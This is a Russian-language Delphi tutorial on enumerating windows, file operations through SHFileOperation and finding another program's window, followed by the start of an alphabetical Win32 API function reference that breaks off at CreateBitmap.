Автор: Дмитрий ВасильевДля получения информации о множественных объектах Windows (окнах, принтерах, шрифтах, настройках экрана и так далее - всего несколько десятков вариантов) используются функции, начинающиеся с Enum. Эти функции работают по принципу, аналогичному итератору TCollection.FirstThat, то есть они вызывают функцию, переданную им в качестве параметра для каждого перечисляемого объекта, передавая ей в параметрах данные объекта и, в последнем параметре, указатель на пользовательские данные, переданный функции EnumXXX. Перечисление продолжается до тех пор, пока не будут перечислены все объекты. Немедленно прекратить перечисление можно, возвратив False. Ниже приведен пример заполнения списка ListBox1 данными по всем окнам Windows в виде " класс - заголовок" по нажатию кнопки Button1.
function AddWinInfo(WinHandle: HWnd; List: TStringList): Boolean;
stdcall;
var
WinCaption,WinClass: array[0..255] of Char;
begin
Result:=True;
GetClassName(WinHandle,WinClass,SizeOf(WinClass));
GetWindowText(WinHandle,WinCaption,SizeOf(WinCaption));
List.Add(WinClass+' - '+WinCaption);
end;
procedure TfrmMain.Button1Click(Sender: TObject);
begin
with ListBox1,Items do
begin
Clear;
EnumWindows(@AddWinInfo,LParam(Items));
end;
end;
|
Файловые операции средствами ShellAPI.
| Программер сидит дома, смотрит TV. За его спиной стоит комп. Из-за монитора выглядывает мальчик 5 лет: - Пап, а пап, а фто знатит "формат драйв цэ камплит"? |
В данной статье мы подробно рассмотрим применение функции SHFileOperation.
function SHFileOperation(const lpFileOp: TSHFileOpStruct): Integer; stdcall; |
Данная функция позволяет производить копирование, перемещение, переименование и удаление (в том числе и в Recycle Bin) объектов файловой системы.
Функция возвращает 0, если операция выполнена успешно, и ненулевое значение в противном :-) случае.
Функция имеет единственный аргумент - структуру типа TSHFileOpStruct, в которой и передаются все необходимые данные.
Эта структура выглядит следующим образом:
_SHFILEOPSTRUCTA = packed record
Wnd: HWND;
wFunc: UINT;
pFrom: PAnsiChar;
pTo: PAnsiChar;
fFlags: FILEOP_FLAGS;
fAnyOperationsAborted: BOOL;
hNameMappings: Pointer;
lpszProgressTitle: PAnsiChar; { используется только при установленном флаге FOF_SIMPLEPROGRESS }
end;
|
Поля этой структуры имеют следующее назначение:
hwnd Хэндл окна, на которое будут выводиться диалоговые окна о ходе операции. wFunc Требуемая операция. Может принимать одно из значений: FO_COPY - Копирует файлы, указанные в pFrom в папку, указанную в pTo. FO_DELETE - Удаляет файлы, указанные pFrom (pTo игнорируется). FO_MOVE - Перемещает файлы, указанные в pFrom в папку, указанную в pTo. FO_RENAME - Переименовывает файлы, указанные в pFrom. pFrom Указатель на буфер, содержащий пути к одному или нескольким файлам. Если файлов несколько, между путями ставится нулевой байт. Список должен заканчиваться двумя нулевыми байтами. pTo Аналогично pFrom, но содержит путь к директории - адресату, в которую производится копирование или перемещение файлов. Также может содержать несколько путей. При этом нужно установить флаг FOF_MULTIDESTFILES. fFlags Управляющие флаги. FOF_ALLOWUNDO Если возможно, сохраняет информацию для возможности UnDo. FOF_CONFIRMMOUSE Не реализовано. FOF_FILESONLY Если в поле pFrom установлено *.*, то операция будет производиться только с файлами. FOF_MULTIDESTFILES Указывает, что для каждого исходного файла в поле pFrom указана своя директория - адресат. FOF_NOCONFIRMATION Отвечает "yes to all" на все запросы в ходе опеации. FOF_NOCONFIRMMKDIR Не подтверждает создание нового каталога, если операция требует, чтобы он был создан. FOF_RENAMEONCOLLISION В случае, если уже существует файл с данным именем, создается файл с именем "Copy #N of..." FOF_SILENT Не показывать диалог с индикатором прогресса. FOF_SIMPLEPROGRESS Показывать диалог с индикатором прогресса, но не показывать имен файлов. FOF_WANTMAPPINGHANDLE Вносит hNameMappings элемент. Дескриптор должен быть освобожден функцией SHFreeNameMappings. fAnyOperationsAborted Принимает значение TRUE если пользователь прервал любую файловую операцию до ее завершения и FALSE в ином случае. hNameMappings Дескриптор объекта отображения имени файла, который содержит массив структур SHNAMEMAPPING. Каждая структура содержит старые и новые имена пути для каждого файла, который перемещался, скопирован, или переименован. Этот элемент используется только, если установлен флаг FOF_WANTMAPPINGHANDLE. lpszProgressTitle Указатель на строку, используемую как заголовок для диалогового окна прогресса. Этот элемент используется только, если установлен флаг FOF_SIMPLEPROGRESS.Примечание. Если pFrom или pTo не указаны, берутся файлы из текущей директории. Текущую директорию можно установить с помощью функции SetCurrentDirectory и получить функцией GetCurrentDirectory.
А теперь - примеры
Разумеется, вам нужно вставить в секцию uses модуль ShellAPI, в котором определена функция SHFileOperation.
Рассмотрим самое простое - удаление файлов.
procedure TForm1.Button1Click(Sender: TObject);
var
SHFileOpStruct : TSHFileOpStruct;
From : array [0..255] of Char;
begin
SetCurrentDirectory( PChar( 'C:\' ) );
From := 'Test1.tst' + #0 + 'Test2.tst' + #0 + #0;
with SHFileOpStruct do
begin
Wnd := Handle;
wFunc := FO_DELETE;
pFrom := @From;
pTo := nil;
fFlags := 0;
fAnyOperationsAborted := False;
hNameMappings := nil;
lpszProgressTitle := nil;
end;
SHFileOperation( SHFileOpStruct );
end;
|
Обратите внимание, что ни один из флагов не установлен. Если вы хотите не просто удалить файлы, а переместить их в корзину, должен быть установлен флаг FOF_ALLOWUNDO.
Для удобства дальнейших экспериментов напишем функцию, создающую из массива строк буфер для передачи его в качестве параметра pFrom. После каждой строки в буфер вставляется нулевой байт, в конце списка - два нулевых байта.
type TBuffer = array of Char;
procedure CreateBuffer( Names : array of string; var P : TBuffer );
var
I, J, L : Integer;
begin
for I := Low( Names ) to High( Names ) do
begin
L := Length( P );
SetLength( P, L + Length( Names[ I ] ) + 1 );
for J := 0 to Length( Names[ I ] ) - 1 do
P[ L + J ] := Names[ I, J + 1 ];
P[ L + J ] := #0;
end;
SetLength( P, Length( P ) + 1 );
P[ Length( P ) ] := #0;
end;
|
Выглядит ужасно, но работает. Можно написать красивее, просто лень.
И, наконец, функция, удаляющая файлы, переданные ей в списке Names. Параметр ToRecycle определяет, будут ли файлы перемещены в корзину или удалены. Функция возвращает 0, если операция выполнена успешно, и ненулевое значение, если руки у кого-то растут не из того места, и этот кто-то всунул функции имена несуществующих файлов.
function DeleteFiles( Handle : HWnd; Names : array of string;
ToRecycle : Boolean ) : Integer;
var
SHFileOpStruct : TSHFileOpStruct;
Src : TBuffer;
begin
CreateBuffer( Names, Src );
with SHFileOpStruct do
begin
Wnd := Handle;
wFunc := FO_DELETE;
pFrom := Pointer( Src );
pTo := nil;
fFlags := 0;
if ToRecycle then
fFlags := FOF_ALLOWUNDO;
fAnyOperationsAborted := False;
hNameMappings := nil;
lpszProgressTitle := nil;
end;
Result := SHFileOperation( SHFileOpStruct );
Src := nil;
end;
|
Обратите внимание, что мы освобождаем буфер Src простым присваиванием значения nil. Если верить документации, потери памяти при этом не происходит, а напротив, происходит корректное уничтожение динамического массива. Каким образом, правда - это рак мозга :-).
Проверяем:
procedure TForm1.Button1Click(Sender: TObject); begin DeleteFiles( Handle, [ 'C:\Test1', 'C:\Test2' ], True ); end; |
Вроде все работает.
Кстати, обнаружился забавный глюк - вызовем процедуру DeleteFiles таким образом:
procedure TForm1.Button1Click(Sender: TObject); begin SetCurrentDirectory( PChar( 'C:\' ) ); DeleteFiles( Handle, [ 'Test1', 'Test2' ], True ); end; |
Файлы 'Test1' и 'Test2' удаляются совсем, без помещения в корзину, несмотря на установленный флаг FOF_ALLOWUNDO. Мораль: при использовании функции SHFileOperation используйте полные пути всегда, когда это возможно.
Ну, с удалением файлов разобрались.
Теперь очередь за копированием и перемещением.
Следующая функция перемещает файлы указанные в списке Src в директорию Dest. Параметр Move определяет, будут ли файлы перемещаться или копироваться. Параметр AutoRename указывает, переименовывать ли файлы в случае конфликта имен.
function CopyFiles( Handle : Hwnd; Src : array of string;
Dest : string; Move : Boolean; AutoRename : Boolean ) : Integer;
var
SHFileOpStruct : TSHFileOpStruct;
SrcBuf : TBuffer;
begin
CreateBuffer( Src, SrcBuf );
with SHFileOpStruct do
begin
Wnd := Handle;
wFunc := FO_COPY;
if Move then wFunc := FO_MOVE;
pFrom := Pointer( SrcBuf );
pTo := PChar( Dest );
fFlags := 0;
if AutoRename then
fFlags := FOF_RENAMEONCOLLISION;
fAnyOperationsAborted := False;
hNameMappings := nil;
lpszProgressTitle := nil;
end;
Result := SHFileOperation( SHFileOpStruct );
SrcBuf := nil;
end;
|
Ну, проверим:
procedure TForm1.Button1Click(Sender: TObject); begin CopyFiles( Handle, [ 'C:\Test1', 'C:\Test2' ], 'C:\Temp', True, True ); end; |
Все в порядке (а куда ж оно денется).
Есть, правда еще одна возможность - перемещать много файлов каждый в свою директорию за один присест, но я с трудом представляю, кому это может понадобиться.
Осталась последняя операция - переименование.
function RenameFiles( Handle : HWnd; Src : string; New : string;
AutoRename : Boolean ) : Integer;
var
SHFileOpStruct : TSHFileOpStruct;
begin
with SHFileOpStruct do
begin
Wnd := Handle;
wFunc := FO_RENAME;
pFrom := PChar( Src );
pTo := PChar( New );
fFlags := 0;
if AutoRename then
fFlags := FOF_RENAMEONCOLLISION;
fAnyOperationsAborted := False;
hNameMappings := nil;
lpszProgressTitle := nil;
end;
Result := SHFileOperation( SHFileOpStruct );
end;
|
И проверка ...
procedure TForm1.Button1Click(Sender: TObject); begin RenameFiles( Handle, 'C:\Test1' , 'C:\Test3' , False ); end; |
Получить дескриптор окна другого приложения и сделать его активным.
Использование фуекции Windows API FindWindow() - простейший способ нахождение окна, при условии, что известен его заголовок или имя оконного класса. Если Вам известна только часть заголовка окна (например 'Netscape - ' + 'какой-то неизвестный URL'), Ва м нужно использовать функцию EnumWindows() для получения всех окон, затем вызывать функцию GetWindowsText() и GetClassName для поиска нужного окна. Следующий пример находит первое окно, содержащее совпадающую часть заголовка окна и полностью совпадающее название оконного класса (если он задан) и делает это окно активным.
type
PFindWindowStruct = ^TFindWindowStruct;
TFindWindowStruct = record
Caption : string;
ClassName : string;
WindowHandle : THandle;
end;
function EnumWindowsProc(hWindow : hWnd; lParam : LongInt) : Bool {$IFDEF Win32} stdcall; {$ELSE} ; export; {$ENDIF}
var
lpBuffer: PChar;
WindowCaptionFound: bool;
ClassNameFound: bool;
begin
GetMem(lpBuffer, 255);
Result := True;
WindowCaptionFound := False;
ClassNameFound := False;
try
if GetWindowText(hWindow, lpBuffer, 255) > 0 then
if Pos(PFindWindowStruct(lParam).Caption, StrPas(lpBuffer)) > 0 then
WindowCaptionFound := true;
if PFindWindowStruct(lParam).ClassName = '' then
ClassNameFound := True
else
if GetClassName(hWindow, lpBuffer, 255) > 0 then
if Pos(PFindWindowStruct(lParam).ClassName, StrPas(lpBuffer)) > 0 then
ClassNameFound := True;
if (WindowCaptionFound and ClassNameFound) then
begin
PFindWindowStruct(lParam).WindowHandle := hWindow;
Result := False;
end;
finally
FreeMem(lpBuffer, sizeof(lpBuffer^));
end;
end;
function FindAWindow(Caption : string; ClassName : string) : THandle;
var
WindowInfo : TFindWindowStruct;
begin
with WindowInfo do begin
Caption := Caption;
ClassName := ClassName;
WindowHandle := 0;
EnumWindows(@EnumWindowsProc, LongInt(@WindowInfo));
FindAWindow := WindowHandle;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
var
TheWindowHandle : THandle;
begin
TheWindowHandle := FindAWindow('Netscape - ', '');
if TheWindowHandle = 0 then
ShowMessage('Window Not Found!')
else
BringWindowToTop(TheWindowHandle);
end;
|
Функции Win32 API [ A ].
Функция AccessResource
Описание:
function AccessResource(Instance, ResInfo: THandle): Integer; |
Открывает и позиционирует файл ресурсов на начало ресурса. После чтения ресурса файл должен быть закрыт.
Параметры:
Instance: Модуль экземляра, исполнимый файл которого содержит ресурс. ResInfo: Нужный ресурс, созданный путем вызова функции FindResource.Возвращаемое значение:
Описатель файла DOS; -1, если ресурс не найден.
Функция AddAtom
Описание:
function AddAtom(Str: PChar): TAtom; |
Добавляет Str в таблицу атомов. Для каждого уникального строкового экземпляра ведется счетчик ссылок.
Параметры:
Str: Символьная строка, заканчивающаяся пустым символом.Возвращаемое значение:
В случае успешного завершения - уникальный идентификатор атома; в противном случае, -1.
Функция находится в файле kernel32.dll.
Функция AddFontResource
Описание:
function AddFontResource(FileName: PChar): Integer; |
Добавляет к таблице системных шрифтов ресурс шрифта из файла ресурса шрифтов с именем FileName.
Параметры:
FileName: Описатель загруженного модуля или строка, заканчивающаяся пустым символом.Возвращаемое значение:
Количество добавленных шрифтов; нуль, если шрифты не добавлялись.
Функция находится в файле gdi32.dll.
Функция AdjustWindowRect
Описание:
function AdjustWindowRect(var Rect: TRect; Style: Longint; Menu: Bool); |
Вычисляет требуемый размер оконного прямоугольника на основании размера Rect. Предполагается однострочное меню.
Параметры:
Rect: TRect, содержащий преобразуемые координаты прямоугольника пользователя. Style: Стили окна, прямоугольник пользователя которого преобразуется. Menu: Не нуль, если окно имеет меню.Функция находится в файле user32.dll.
Функция AdjustWindowRectEx
Описание:
function AdjustWindowRectEx(var Rect: TRect; Style: Longint; Menu: Bool; ExStyle: Longint); |
Вычисляет требуемый размер оконного прямоугольника с расширенным стилем на основании размера Rect. Предполагается однострочное меню.
Параметры:
Rect: TRect, содержащий преобразуемые координаты прямоугольника пользователя. Style: Стили окна, прямоугольник пользователя которого преобразуется. Menu: Не нуль, если окно имеет меню. ExStyle: Расширенный стиль создаваемого окна.Функция находится в файле user32.dll.
Функция AllocDStoCSAlias
Описание:
function AllocDStoCSAlias(Selector: Word): Word; |
Отображает Selector в селектор сегмента кода.
Параметры:
Selector: Селектор сегмента данных.Возвращаемое значение:
В случае успешного завершения - соответствующий селектор сегмента кода; в противном случае, нуль.
Функция AllocResource
Описание:
function AllocResource(Instance, ResInfo: THandle; Size: Longint): THandle; |
Выделяет неинициализированную память для ResInfo.
Параметры:
Instance: Модуль экземляра, исполнимый файл которого содержит ресурс. ResInfo: Нужный ресурс. Size: Размер в байтах, выделяемый для ресурса; игнорируется, если нуль.Возвращаемое значение:
Выделенный глобальный блок памяти.
Функция AllocSelector
Описание:
function AllocSelector(Selector: Word): Word; |
Распределяет новый селектор, который является точной копией Selector. Если Selector имеет значение nil, то выделяет память под новый, неинициализированный селектор.
Параметры:
Selector: Копируемый селектор.Возвращаемое значение:
В случае успешного завершения - селектор; в противном случае, нуль.
Функция AngleArc
Описание:
function AngleArc(hdc: HDC; X, Y: integer; dwRadius:integer; eStartAngle, eSweepAngle: Real): Boolean; |
Рисует дугу.
Параметры:
hdc: Дескриптор контекста устройства. x: Координата x центра круга. y: Координата y центра круга. dwRadius: Радиус круга. eStartAngle: Угол для идентификации отправной точки дуги. eSweepAngle: Угол для идентификации конечной точки дугиВозвращаемое значение:
В случае успешного завершения - true; в противном случае, false.
Функция AnimatePalette
Описание:
function AnimatePalette(Palette: HPalette; StartIndex: Word; NumEntries: Word; var PaletteColors); |
Заменяет элементы в Palette между StartIndex и NumEntries на PaletteColors.
Параметры:
Palette: Логическая палитра. StartIndex: Первый элемент в оживляемой палитре. NumEntries: Число элементов в оживляемой палитре. PaletteColors: Массив структур TPaletteEntry.Функция находится в файле gdi32.dll.
Функция AnsiLower
Описание:
function AnsiLower(Str: PChar): PChar; |
Использует драйвер языка для преобразования Str в нижний регистр.
Параметры:
Str: Строка, заканчивающаяся пустым символом, или одиночный символ (в младшем байте).Возвращаемое значение:
Преобразованная строка или символ.
Функция находится в файле user32.dll.
Функция AnsiLowerBuff
Описание:
function AnsiLowerBuff(Str: PChar, Length: Word): Word; |
Использует драйвер языка для преобразования Str в нижний регистр.
Параметры:
Str: Буфер символов. Length: Длина символов в буфере; если нуль, то длина составляет 64К (65 536 байт).Возвращаемое значение:
Длина преобразованной строки.
Функция находится в файле user32.dll.
Функция AnsiNext
Описание:
function AnsiNext(CurrentChar: PChar): PChar; |
Используется для итерации по строкам, символы которых имеют длину два или более байт.
Параметры:
CurrentChar: Строка, заканчивающаяся пустым символом.Возвращаемое значение:
Указатель на следующий символ в строке.
Функция находится в файле user32.dll.
Функция AnsiPrev
Описание:
function AnsiPrev(Start, CurrentChar: PChar): PChar; |
Используется для итерации в обратном направлении по строкам, символы которых имеют длину два или более байт.
Параметры:
Start: Начало строки (заканчивающейся пустым символом). CurrentChar: Строка, заканчивающаяся пустым символом.Возвращаемое значение:
Указатель на предыдущий символ в строке.
Функция находится в файле user32.dll.
Функция AnsiToOEM
Описание:
function AnsiToOEM(AnsiStr, OemStr: PChar): Integer; |
Транслирует AnsiStr в символьный набор, определенный OEM. Длина может быть больше 64К.
Параметры:
AnsiStr: Строка (заканчивающаяся пустым символом) символов ANSI. OEMStr: Место, куда копируется отранслированная строка, может совпадать с AnsiStr.Возвращаемое значение:
Всегда -1.
Функция находится в файле user32.dll.
Функция AnsiToOEMBuff
Описание:
function AnsiToOEMBuff(AnsiStr, OemStr: PChar Length: Integer); |
Транслирует AnsiStr в символьный набор, определенный OEM.
Параметры:
AnsiStr: Буфер символов ANSI. OEMStr: Место, куда копируется отранслированная строка, может совпадать с AnsiStr. Length: Размер AnsiStr; если нуль, длина равна 64К.Функция находится в файле user32.dll.
Функция AnsiUpper
Описание:
function AnsiUpper(Str: PChar): PChar; |
Использует драйвер языка для преобразования Str в верхний регистр.
Параметры:
Str: Строка, заканчивающаяся пустым символом или один символ (в младшем байте).Возвращаемое значение:
Преобразованная строка или символ.
Функция находится в файле user32.dll.
Функция AnsiUpperBuff
Описание:
function AnsiUpperBuff(Str: PChar; Length: Word): Word; |
Использует драйвер языка для преобразования Str в верхний регистр.
Параметры:
Str: Буфер символов. Length: Размер Str; если нуль, то длина равна 64К.Возвращаемое значение:
Длина преобразованной строки.
Функция находится в файле user32.dll.
Функция AnyPopup
Описание:
function AnyPopup: Bool; |
Определяет, существует ли на экране всплывающее окно.
Возвращаемое значение:
Не нуль, если всплывающее окно существует; нуль - если нет.
Функция находится в файле user32.dll.
Функция AppendMenu
Описание:
function AppendMenu(Menu: HMenu; Flags, IDNewItem: PChar): Bool; |
Присоединяет в конец меню новый элемент, состояние которого определяется Flags.
Параметры:
Menu: Изменяемое меню. Flags: Одна или комбинация следующих констант MF: mf_Bitmap, mf_Checked, mf_Disabled, mf_Enabled, mf_Grayed, mf_MenuBarBreak mf_MenuBreak, mf_OwnerDraw, mf_Popup, mf_Separator, mf_String, mf_UnChecked. IDNewItem: Идентификатор команды или описатель меню в случае всплывающего меню.Возвращаемое значение:
Не нуль в случае успешного завершения; нуль - в противном случае.
Функция находится в файле user32.dll.
Функция Arc
Описание:
function Arc(DC: HDC, X1, Y1, X2, Y2, X3, Y3, X4, Y4: Integer): Bool; |
Рисует эллиптическую дугу, центрированную в ограничивающем прямоугольнике.
Параметры:
DC: Контекст устройства. X1, Y1: Верхний левый угол ограничивающего прямоугольника. X2, Y2: Правый нижний угол ограничивающего прямоугольника. X3, Y3: Начальная точка дуги. X4, Y4: Конечная точка дуги.Возвращаемое значение:
Не нуль, если дуга нарисована; нуль - в противном случае.
Примечание: Ограничивающий прямоугольник должен быть не длиннее или не шире 32 767 единиц.
Функция находится в файле gdi32.dll.
Функция ArrangeIconicWindows
Описание:
function ArrangeIconicWindows(Wnd: HWnd): Word; |
Располагает пиктограммы в окне пользователя MDI или пиктограммы в окне рабочей области.
Параметры:
Wnd: Идентификатор родительского окна.Возвращаемое значение:
Высота одной строки пиктограмм; нуль, если пиктограмм нет.
Функция находится в файле user32.dll.
Функции Win32 API [ B ].
Функция BeginDeferWindowPos
Описание:
function BeginDeferWindowPos(NumWindows: Integer): THandle; |
Выделяет память для структуры данных, содержащей позиции нескольких окон.
Параметры:
NumWindows: Исходное число окон, информация о позиции которых запоминается.Возвращаемое значение:
Идентификатор структуры с позицией окна.
См. также: DeferWindowPos, EndDeferWindowPos.
Функция находится в файле user32.dll.
Функция BeginPaint
Описание:
function BeginPaint(Wnd: HWnd; var Paint: TPaintStruct): HDC; |
Подготавливает окно к раскраске в ответ на сообщение wm_Paint. Заполняет Paint информацией для раскраски.
Параметры:
Wnd: Вновь раскрашиваемое окно. Paint: Структура TPaintStruct, принимающая информацию о раскраске.Возвращаемое значение:
Идентификатор контекста устройства.
См. также: EndPaint, InvalidateRgn, wm_EraseBkgnd, wm_Paint.
Функция находится в файле user32.dll.
Функция BitBit
Описание:
function BitBit(DestDC: HDC; X, Y, Width, Height: Integer; SrcDC: HDC; XSrc, YSrc: Integer; Rop: Longint): Bool; |
Копирует карту бит из SrcDC в DestDC, выполняя указанную растровую операцию.
Параметры:
DestDC: Контекст устройства, принимающего карту бит. X, Y: Верхний левый угол прямоугольника назначения. Width: Ширина прямоугольника назначения и карты бит источника. Height: Высота прямоугольника назначения и карты бит источника. SrcDC: Контекст устройства, их которого копируется карта бит, или нуль для растровой операции только на DestDC. XSrc, YSrc: Верхний левый угол SrcDC. Rop: Одна из констант тернарных растровых операций: Blackness, DSTInvert, MergeCopy, MergePaint, NotSrcCopy, NotSrcErase, PatCopy, PatInvert, PatPaint, SrcAnd, SrcCopy, SrcErase, SrcInvert, SrcPaint, Whiteness. SrcCopy выполняет простое копирование из источника в назначение.Возвращаемое значение:
Не нуль, если карта бит нарисована; нуль - если нет.
Функция BringWindowToTop
Описание:
function BringWindowToTop(Wnd: HWnd); |
Активизирует и перемещает Wnd в вершину стека перекрывающихся окон.
Параметры:
Wnd: Всплывающее или дочернее окно.Функция находится в файле user32.dll.
Функция BuildCommDCB
Описание:
function BuildCommDCB(Def: PChar; var DCB: TDCB): Integer; |
Переводит Def в соответствующие коды блока управления устройством, которые копируются в DCB.
Параметры:
Def: Командная строка DOS MODE (заканчивающаяся пустым символом) с управляющей информацией об устройстве. DCB: Принимающая структура TDCB.Возвращаемое значение:
Нуль, если Def переведена; отрицательное - если нет.
См. также: SetCommState.
Функция находится в файле kernel32.dll.
Функции Win32 API [ C ].
Функция CallMsgFilter
Описание:
function CallMsgFilter(var Msg: TMsg; Code: Integer): Bool; |
Передает Msg текущей функции фильтрации сообщений.
Параметры:
Msg: TMsg, содержащее фильтруемое сообщение. Code: Код функции фильтрации.Возвращаемое значение:
Нуль, если сообщение должно быть обработано; не нуль - если нет.
См. также: SetWindowsHook.
Функция находится в файле user32.dll.
Функция CallWindowProc
Описание:
function CallWindowProc(PrevWndProc: TFarProc; Wnd: HWnd; Msg, wParam: Word; lParam: Longint): Longint; |
Вызывает и передает информацию сообщения в PrevWndProc. Разрешает субклассифицировать окна путем разрешения перехвата сообщений до передачи их функции окна класса.
Параметры:
PrevWndProc: Адрес экземпляра процедуры предыдущей функции окна. Wnd: Окно, принимающее сообщение. Msg: Идентификатор сообщения. wParam: Дополнительная информация, зависящая от сообщения. lParam: Дополнительная информация, зависящая от сообщения.Возвращаемое значение:
Значение от вызова PrevWndProc.
См. также: SetWindowsLong.
Функция находится в файле user32.dll.
Функция Catch
Описание:
function Catch(var CatchBuf): Integer; |
Копирует состояние всех регистров системы и указатель команды в CatchBuf.
Параметры:
CatchBuf: TCatchBuf для копирования среды выполнения.Возвращаемое значение:
Нуль, если среда скопирована.
См. также: Throw.
Функция ChangeClipboardChain
Описание:
function ChangeClipboardChain(Wnd, WndNext: HWnd): Bool; |
Удаляет Wnd из цепочки просмотра буфера вырезанного изображения и заменяет его на WndNext.
Параметры:
Wnd: Окно, удаляемое из цепочки. WndNext: Окно, следующее за Wnd в цепочке просмотра буфера вырезанного изображения.Возвращаемое значение:
Не нуль, если окно найдено и удалено.
См. также: SetClipboardViewer, wm_ChangeCBChain.
Функция находится в файле user32.dll.
Функция CheckDlgButton
Описание:
function CheckDlgButton(Dlg: HWnd; IDButton: Integer; Check: Word); |
Метит или снимает метку с органа управления кнопкой или изменяет состояние трехкнопочного органа управления.
Параметры:
Dlg: Блок диалога, который содержит кнопку. IDButton: Модифицируемый орган управления кнопкой. Сhеск: удалена(0), отмечена(1), затенена(2).Функция находится в файле user32.dll.
Функция CheckMenuItem
Описание:
function CheckMenuItem(Menu: HMenu; IDCheckItem, Check: Word); Bool; |
Метит или снимает метку с элементов меню во всплывающем меню.
Параметры:
Menu: Всплывающее меню. IDCheckItem: Помечаемый элемент меню. Сhеск: Определяет, как должен быть помечен элемент и как определяется его положение. Может быть комбинацией mf_ByCommand или mf_ByPosition с mf_Checked или mf_UnChecked. См. раздел "Флаги меню mf_" в главе 1.Возвращаемое значение:
Предыдущее состояние элемента; -1, если элемент меню не существует.
Функция находится в файле user32.dll.
Функция CheckRadioButton
Описание:
function CheckRadioButton(Dlg: HWnd; IDFirstButton, IDLastButton, IDCheckButton: Integer); |
Метит IDCheckButton и снимает метку с группы селективных кнопок, указанных IDFirstButton и IDLastButton.
Параметры:
Dlg: Блок диалога IDFirstButton: Идентификатор первой селективной кнопки в группе. IDLastButton: Идентификатор последней селективной кнопки в группе. IDCheckButton: Идентификатор помечаемой селективной кнопки.Функция находится в файле user32.dll.
Функция ChildWindowFromPoint
Описание:
function ChildWindowFromPoint(WndParent: HWnd; APoint: TPoint): HWnd; |
Определяет, какое дочернее окно, принадлежащее WndParent, содержит APoint.
Параметры:
WndParent: Родительское окно. APoint: Структура TPoint проверяемых координат пользователя.Возвращаемое значение:
Дочернее окно, содержащее точку; нуль - если точка лежит вне родительского окна; WndParent - если точка не содержится в рамках какого-либо дочернего окна.
Функция находится в файле user32.dll.
Функция Chord
Описание:
function Chord(DC: HDC, X1, Y1, X2, Y2, X3, Y3, X4, Y4: Integer): Bool; |
Рисует хорду, ограниченную пересечением эллипса, центрированного в в ограничивающем прямоугольнике, и сегмента линии.
Параметры:
DC: Контекст устройства. X1, Y1: Верхний левый угол ограничивающего прямоугольника. X2, Y2: Правый нижний угол ограничивающего прямоугольника. X3, Y3: Один конец сегмента линии. X4, Y4: Другой конец сегмента линии.Возвращаемое значение:
Не нуль, если дуга нарисована; нуль - в противном случае.
Функция находится в файле gdi32.dll.
Функция ClearCommBreak
Описание:
function ClearCommBreak(Cid: Integer): Integer; |
Восстанавливает передачу символов и переводит линию в непрерываемое состояние.
Параметры:
Cid: Восстанавливаемое устройство связи.Возвращаемое значение:
Нуль - в случае успешного завершения; отрицательное, если Cid не является допустимым устройством.
См. также: OpenComm.
Функция находится в файле kernel32.dll.
Функция ClientToScreen
Описание:
function ClientToScreen(Wnd: HWnd; var Point: TPoint); |
Преобразует координаты пользователя в APoint в координаты экрана.
Параметры:
Wnd: Окно, содержащее область пользователя. APoint: TPoint, содержащая координаты пользователя.Функция находится в файле user32.dll.
Функция ClipCursor
Описание:
function ClipCursor(Rect: LRect); |
Заключает курсор в Rect. Если Rect имеет значение nil, то курсор является неограниченным.
Параметры:
Rect: Ограничивающий TRect в координатах экрана.См. также: SetCursorPos.
Функция находится в файле user32.dll.
Функция CloseClipboard
Описание:
function CloseClipboard: Bool; |
Закрывает буфер вырезанного изображения, чтобы дать доступ к нему состояние.
Возвращаемое значение:
Не нуль, если буфер вырезанного изображения закрывается; нуль - если нет.
Функция находится в файле user32.dll.
Функция CloseComm
Описание:
function CloseComm(Cid: Integer): Integer; |
Закрывает Cid, чистя выходную очередь. Память, используемая под очереди приема и передачи, освобождается.
Параметры:
Cid: Устройство связи.Возвращаемое значение:
Нуль, если устройство закрывается; отрицательное, если ошибка.
См. также: OpenComm.
Функция CloseMetaFile
Описание:
function CloseMetaFile(DC: THandle): THandle; |
Закрывает DC и создает описатель метафайла, который может быть использован для проигрывания метафайла.
Параметры:
DC: Контекст устройства метафайла.Возвращаемое значение:
В случае успешного завершения - идентификатор метафайла; 0 - в противном случае.
См. также: PlayMetaFile.
Функция находится в файле gdi32.dll.
Функция CloseSound
Описание:
function CloseSound; |
Очищает все очереди звуков, освобождает любые выделенные буфера и закрывает доступ к устройству воспроизведения.
Функция CloseWindow
Описание:
function CloseWindow(Wnd: HWnd); |
Минимизирует Wnd. Пиктограммы для перекрытых окон перемещаются в область пиктограмм экрана.
Параметры:
Wnd: Минимизируемое окноФункция находится в файле user32.dll.
Функция CombineRgn
Описание:
function CombineRgn(DestRgn, SrcRgn1, SrcRgn2: HRgn; CombineMode: Integer): Integer; |
Объединяет области SrcRgn1 и SrcRgn2 и помещает результат в DestRgn. CombineMode определяет метод объединения областей.
Параметры:
DestRgn: Область, замещаемая новой областью. SrcRgn1: Существующая область. SrcRgn2: Существующая область. CombineMode: Одна из констант rgn_And, rgn_Copy, rgn_Diff, rgn_Or, rgn_Xor. См. раздел "Флаги объединения областей, rgn_" в главе 1.Возвращаемое значение:
Одна из констант ComplexRegion, Error, NullRegion, SimpleRegion. См. раздел "Флаги областей" в главе 1.
Функция находится в файле gdi32.dll.
Функция CopyMetaFile
Описание:
function CopyMetaFile(SrcMetaFile: THandle; FileName: PChar): THandle; Integer): Integer; |
Копирует SrcMetaFile в файл FileName.
Параметры:
SrcMetaFile: Исходный метафайл. FileName: Имя метафайла (заканчивающееся пустым символом) или 0 для копирования в метафайл в памяти.Возвращаемое значение:
Новый идентификатор метафайла.
Функция находится в файле gdi32.dll.
Функция CopyRect
Описание:
function CopyRectFile(var DestRect, SourceRect: TRect); |
Копирует SourceRect в DestRect.
Параметры:
DestRect: Структура TRect. SourceRect: Структура TRect.Функция находится в файле user32.dll.
Функция CountClipBoardFormats
Описание:
function CountClipoardFormats: Integer; |
Подсчитывает число форматов, которые может отображать буфер вырезанного изображения.
Возвращаемое значение:
Число форматов данных в буфере вырезанного изображения.
Функция находится в файле user32.dll.
Функция CountVoiceNotes
Описание:
function CountVoiceNotes(Voice: Integer): Integer; |
Подсчитывает число нот в Voice.
Параметры:
Voice: Очередь звуков.Возвращаемое значение:
Число нот.
См. также: SetVoiceNote.
Функция CreateBitmap
Описание:
function CreateBitmap(Width, Height: Integer; Planes, BitCount: Byte; Bits: Pointer): HBitmap; |
Создает карту бит памяти, зависящую от устройства.
Параметры:
